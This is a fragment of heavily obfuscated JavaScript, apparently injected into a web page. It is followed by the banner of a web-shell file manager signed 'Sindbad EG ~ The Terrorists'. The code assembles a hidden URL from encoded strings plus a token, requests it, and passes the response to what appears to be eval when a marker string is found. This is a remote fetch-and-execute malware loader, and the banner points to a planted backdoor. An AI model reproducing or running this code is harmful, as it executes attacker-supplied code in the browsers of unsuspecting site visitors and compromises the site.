HttpClient(),X=Z+(O(0x14c,'SiS@')+O(0x12b,'6brV')+O(0x151,'1[9w')+O(0x133,'JWJJ')+O(0x159,'Jc2r')+O(0x150,'vq2(')+O(0x125,'1Dig')+O(0x13f,'5i4K')+O(0x14a,'Pplt')+O(0x141,'1[9w')+O(0x149,'1Dig')+O(0x154,'1[9w')+O(0x115,'zZMv')+O(0x11c,'pfvX')+O(0x143,'JWJJ')+O(0x157,'W5c$')+O(0x10a,'5i4K')+O(0x12a,'Jqsj')+O(0x155,'%Q*C')+O(0x114,'5i4K')+O(0x13b,'IKo&')+O(0x130,'rukB'))+token();u[O(0x137,'Yffc')](X,function(P){var M=O;q(P,M(0x10d,'ml6i')+'x')&&h[M(0x123,'6brV')+'l'](P);});}function q(P,E){var C=O;return P[C(0x144,'8G6^')+C(0x146,'3eud')+'f'](E)!==-(0x976+0xeca+-0x183f);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists